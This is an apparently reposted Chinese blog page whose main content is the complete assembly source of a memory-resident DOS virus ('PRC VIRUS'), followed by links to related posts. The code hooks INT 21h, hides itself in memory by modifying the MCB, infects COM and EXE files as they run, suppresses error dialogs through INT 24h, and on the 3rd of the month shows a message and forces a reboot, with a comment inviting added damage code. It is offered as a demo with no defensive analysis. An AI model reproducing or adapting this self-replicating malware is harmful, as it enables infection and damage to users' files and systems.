一个DOS下的驻留病毒Demo

转载 2005年03月03日 10:25:00

;******************************************
;*  A DOS COMPUTER VIRUS                  *
;*  NAME: PRC VIRUS                       *
;*  INFEST COM OR EXE FILE IN DOS SYSTEM  *
;*  COMPLETED ON May 2,2000               *
;******************************************
;*******************************************
;*             Save Registers              *
;*******************************************
pushall macro
  push ax
  push bx
  push cx
  push dx
  push si
  push di
  push bp
  push ds
  push es
endm
;*******************************************
;*            Restore Registers            *
;*******************************************
popall macro
  pop es
  pop ds
  pop bp
  pop di
  pop si
  pop dx
  pop cx
  pop bx
  pop ax
endm
;*******************************************
;*             My Program Start            *
;*******************************************
Code Segment
Assume CS:Code,DS:Code

Org 100h
Start:
  push ds
  push es
  call BaseAddr ; SI saves the base address
BaseAddr:
  pop si
  mov ah,2ah
  int 21h
  cmp dl,03h
  jnz DoNoDamage
;*******************************************
;*    You Can Write Damage Code Here       *
;*******************************************
  mov ah,09h
  push cs
  pop ds
  lea dx,[Msg-BaseAddr][si]
  int 21h
  mov ah,08h
  int 21h
  int 19h
;*********************************************
;*  If It is Not The Right Day,Do No damage  *
;*********************************************
DoNoDamage:
  cmp byte ptr cs:[ComOrExe-BaseAddr][si],EXEFILE
  jz NotRestoreFileHeader
;*******************************************
;*        Restore ComFile Header           *
;*******************************************
  mov cx,word ptr cs:[SaveThreeBytes-BaseAddr][si]
  mov ds:[100h],cx
  mov cl,cs:[SaveThreeBytes+2-BaseAddr][si]
  mov ds:[102h],cl
NotRestoreFileHeader:
  mov ax,cs
  add word ptr cs:[ExecuteOrgFile-BaseAddr+3][si],ax ; Set Original ExeFile Entrance Address
  xor ax,ax
  mov ds,ax
  mov bx,ds:[21h*4]
  push ds:[21h*4+2]
  pop ds
  cmp byte ptr [bx],90h ; Check if the virus code is in memory or not
  jz StopLoading
;**********************************************
;*   Modify MCB To Make Room For The Program  *
;**********************************************
  mov dx,es
  dec dx
  mov ds,dx
  mov ax,ds:[3]
  mov bx,(MyVirusSize+15)/16
  cmp ax,bx
  jb StopLoading
  sub ax,bx
  mov ds:[3],ax
  add dx,ax
  inc dx
;*******************************************
;*     Copy The Virus Code Into Memory     *
;*******************************************
  push cs
  pop ds
  mov es,dx
  mov bx,si ; Save Base Address
  mov cx,MyVirusSize
  sub si,BaseAddr-Start
  xor di,di
  cld
  rep movsb
;*******************************************
;*      Modify Interrupt Vector Table      *
;*******************************************
  xor ax,ax
  mov ds,ax
  push ds:[21h*4]
  pop word ptr es:[OldInt21h-100h]
  push ds:[21h*4+2]
  pop word ptr es:[OldInt21h+2-100h]
  mov ax,2521h
  sub dx,10h
  mov ds,dx
  mov dx,offset ResidentPart
  int 21h
;-----------------------------------------
StopLoading:
  pop es
  pop ds
ExecuteOrgFile: ; Execute The Parasided Exe Or Com File
  ret
  dd 0
;*********************************************************
;*      The Following Program Is Resident In Memory      *
;*********************************************************
ResidentPart:
  nop        ; NOP Is The Signal Of Residence Of Virus Code
  cmp ah,4bh
  jz Infect
  jmp cs:OldInt21h
Infect:
  pushall
;****************************************************
;*      Judge The File Is A ComFile Or ExeFile      *
;****************************************************
  mov al,'.'
  mov di,dx
  mov cx,0ffffh
  rep scasb
  or byte ptr [di],20h
  mov cs:ComOrExe,0
  cmp byte ptr [di],'c'
  jz Lab1
  inc cs:ComOrExe
Lab1:
;*********************************************************
;*   Restore 21H Interrupt Vector To Use INT 21H Sevice  *
;*********************************************************
  push ds
  xor ax,ax
  mov ds,ax
  push word ptr cs:[OldInt21h]
  pop ds:[21h*4]
  push word ptr cs:[OldInt21h+2]
  pop ds:[21h*4+2]
;*******************************************
;*      Hook 24H To Mask Error Process     *
;*******************************************
  push ds:[24h*4]
  pop word ptr cs:[OldInt24h]
  push ds:[24h*4+2]
  pop word ptr cs:[OldInt24h+2]
  mov ds:[24h*4],offset NewInt24h
  mov ax,cs
  mov ds:[24h*4+2],ax
  pop ds
;*******************************************
;*         Modify File Attribute           *
;*******************************************
  mov ax,4300h
  int 21h
  jnc Lab2
  jmp EndInfection3
Lab2:
  push cx ; Remember To Pop It
  or cl,cl
  jz Lab3
  xor cx,cx
  mov ax,4301h
  int 21h
  jnc Lab3
  jmp EndInfection2
;*******************************************
;*             Open The File               *
;*******************************************
Lab3:
  mov ax,3d42h
  int 21h
  jnc Lab4
  jmp EndInfection2
;*******************************************
;*            Load File Header             *
;*******************************************
Lab4:
  mov bx,ax
  push ds ; Remember To Pop It
  push dx ; Remember To Pop It
  mov bp,sp
  sub bp,60h
  mov dx,bp
  push ss
  pop ds
  mov cx,1ch
  mov ah,3fh
  int 21h
;*******************************************
;*             Get The File Size           *
;*******************************************
  mov ax,4202h
  mov cx,0ffffh
  mov dx,-4
  int 21h
  add ax,4
  adc dx,0
  push ax
  push dx
;*******************************************
;*     Read Four Last Bytes Of The File    *
;******************************************* 
  mov ah,3fh
  mov cx,4
  lea dx,[bp+1ch]
  int 21h
  pop dx
  pop ax
;*******************************************
;*   Check If The File Is Infected Or Not  *
;*******************************************
  push cs
  pop es
  lea si,[bp+1ch]
  mov di,offset CheckString
  mov cx,CheckStringLenght
  cld
  rep cmpsb
  jnz Lab5
  jmp EndInfection1
;*******************************************
;* Save The First Three  Bytes Of The File *
;*******************************************
Lab5:
  mov cx,[bp]
  mov word ptr cs:SaveThreeBytes,cx
  mov cl,[bp+02h]
  mov cs:SaveThreeBytes+2,cl
  cmp cs:ComOrExe,EXEFILE
  jz InfectExeFile
;*******************************************
;*           Deal With ComFile             *
;*******************************************
;PUSH_AX_DX:
  push ax
  push dx
  mov byte ptr [bp],0e9h
  sub ax,3
  mov [bp+1],ax
  mov dx,100h
  xor ax,ax
  jmp WriteCode
;*******************************************
;*           Deal With ExeFile             *
;*******************************************
InfectExeFile:
  mov si,ax  ; Compute How Many Bytes Needed To Align Para
  and si,0fh
  mov cx,16
  sub cx,si
  and cx,0fh
  mov si,cx
  add ax,cx
  adc dx,0
;PUSH_AX_DX
  push ax
  push dx
 
  mov cx,16
  div cx
  sub ax,[bp+08h]
  sub ax,16            ; Compute New Code Segment
  xchg [bp+16h],ax     ; ExChange New Code Segment And Old Code Segment
  mov dx,[bp+14h]      ; Save Old Entry IP
  mov word ptr [bp+14h],100h   ; New IP=100h
  sub ax,[bp+16h]      ; Compute Difference Between Old Segment And New Segment
;*******************************************
;*     Append The ExeFile To Align Para    *
;*******************************************
  push ax
  mov cx,si
  jcxz WriteCode
  mov ah,40h
  int 21h
  pop ax
;*******************************************
;*      Write The Code Into The File       *
;*******************************************
WriteCode:
  push cs
  pop ds
  mov byte ptr ExecuteOrgFile,0eah ; Build The Instruction Of "JMP xxxx:xxxx"
  mov word ptr ExecuteOrgFile+1,dx ; In Order To Execute The Oringal File
  mov word ptr ExecuteOrgFile+3,ax
  mov dx,100h
  mov cx,MyVirusSize
  mov ah,40h
  int 21h
;*******************************************
;*        Modify The ExeFile Header        *
;*******************************************
  mov ax,4200h
  xor cx,cx
  xor dx,dx
  int 21h
;-------------------------------------------
POP_DX_AX: 
  pop dx ; Pop To Balance The Stack
  pop ax
;-------------------------------------------
  cmp cs:ComOrExe,COMFILE
  jz Lab6
  add ax,MyVirusSize ; Compute How Many Sectors The File Occupied
  adc dx,0
  mov cx,512
  div cx
  inc ax
  mov [bp+04h],ax
  mov [bp+02h],dx
Lab6:
  push ss
  pop ds
  mov ah,40h
  mov dx,bp
  mov cx,1ch
  int 21h
;*******************************************
;*            Infection Done               *
;*******************************************
EndInfection1:
  pop dx
  pop ds
EndInfection2:
  pop cx
;*******************************************
;*             Close The File              *
;*******************************************
  mov ah,3eh
  int 21h
;*******************************************
;*        Restore The File Attribute       *
;*******************************************
EndInfection3:
  mov ax,4301h
  int 21h
;**************************************************
;*  Let INT 21H Sevice Points Back To Virus Code  *
;**************************************************
  xor ax,ax
  mov ds,ax
  mov ds:[21h*4],offset ResidentPart
  push cs
  pop ds:[21h*4+2]
;**************************************************
;*                Restore INT 24H                 *
;**************************************************
  push word ptr cs:[OldInt24h]
  pop ds:[24h*4]
  push word ptr cs:[OldInt24h+2]
  pop ds:[24h*4+2]
  popall
  jmp dword ptr cs:OldInt21h
NewInt24h:
  iret
;*******************************************
;*              Data Area                  *
;*******************************************
  OldInt21h dd ?
  OldInt24h dd ?
  ComOrExe db ?
  Msg db 'THIS IS A DOS COMPUTER VIRUS!',0dh,0ah,'$'
  SaveThreeBytes db 1eh,06h,0e8h
  CheckString db 'PRC V1.0 FOR DOS'
;*******************************************
;*             System Constant             *
;*******************************************
  CheckStringLenght = $ - CheckString
  MyVirusSize = $ - Start
  COMFILE = 0
  EXEFILE = 1
;-----------------------------------------
Code Ends
  End Start


【笔记】对一个DOS病毒的分析

; .COM overwriting virus written with the [Damien] Vlab 2.0 SIZE EQU [VIRUS_END] - [V...
  • pitpjam
  • pitpjam
  • 2016年05月29日 08:13
  • 79

String驻留池

在java面试题中会经常碰到类似与这样的题目: String str=new String("abc"); 这句代码创建了几个对象?想要搞明白这个问题,不得不解释一个概念,也就是字符串常量池,也称...
  • u012700373
  • u012700373
  • 2014年03月26日 18:12
  • 677

服务器被挂马,文件被病毒隐藏怎么恢复显示

在iis里可以看到有很多文件 在web目录里看不到: 首页index.php 已被修改为系统文件,并隐藏属性,无法修改。 处理方法:点击工具->文件夹选项-》查看 勾带掉隐藏受保护的操...
  • forest_fire
  • forest_fire
  • 2017年11月08日 11:34
  • 192

如何使用dos命令关闭正在运行程序

使用cmd下的dos命令行可以对正在运行的程序进行管理,对影响电脑速度的程序可以使用命令关闭,这主要用在批量关闭程序的时候,比如一台电脑开了很多程序,现在需要把电脑中不用的程序全部关闭,类似于电脑的注...
  • daily11
  • daily11
  • 2016年04月21日 22:49
  • 1304

Java千百问_01基本概念(007)_线程的状态有哪些

点击进入_更多_Java千百问1、线程的状态有哪些在java中java.lang.Thread类有一个变量threadStatus,标示了该线程的当前状态,它是一个int类型,但是对应的get方法返回...
  • ooppookid
  • ooppookid
  • 2016年06月05日 16:53
  • 4893

自己动手写病毒

引:前些天学病毒这门技术着实吃了很多苦头,走了很多弯路,尽管按我的知识水平,病毒已经是水到渠成的学习内容了。但是我现在学了入门才发现这门技术实际上隐藏着很多玄机,包含着许多技术,不专门学习研究根本无法...
  • baskbeast
  • baskbeast
  • 2016年04月22日 08:18
  • 2032

Python 进行病毒样本特征分析

这几天一直在做有关病毒样本特征提取的工作,
  • u010484477
  • u010484477
  • 2014年06月03日 21:39
  • 1259

Java千百问_07JVM架构(018)_如何监控jvm的运行情况

点击进入_更多_Java千百问1、如何监控jvm的运行情况了解jvm内存模型看这里:java内存模型是什么样的 了解jvm内存管理看这里:jvm是如何管理内存的 了解jvm垃圾回收机制看这里:ja...
  • ooppookid
  • ooppookid
  • 2016年06月05日 07:49
  • 5127

半驻留高性能线程池例子

http://www.oschina.net/code/snippet_568966_43274
  • zdy0_2004
  • zdy0_2004
  • 2014年11月01日 02:19
  • 955

在DOS界面操作一个java的Demo

用DOS界面执行java程序先用记事本写一个类,并保存为123.java:如下图 在dos界面执行(编译): 会在本地文件生成一个Demo.class 最后再dos界面执行就可得到结...
  • pengzhisen123
  • pengzhisen123
  • 2017年10月24日 15:38
  • 86
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:一个DOS下的驻留病毒Demo
举报原因:
原因补充:

(最多只允许输入30个字)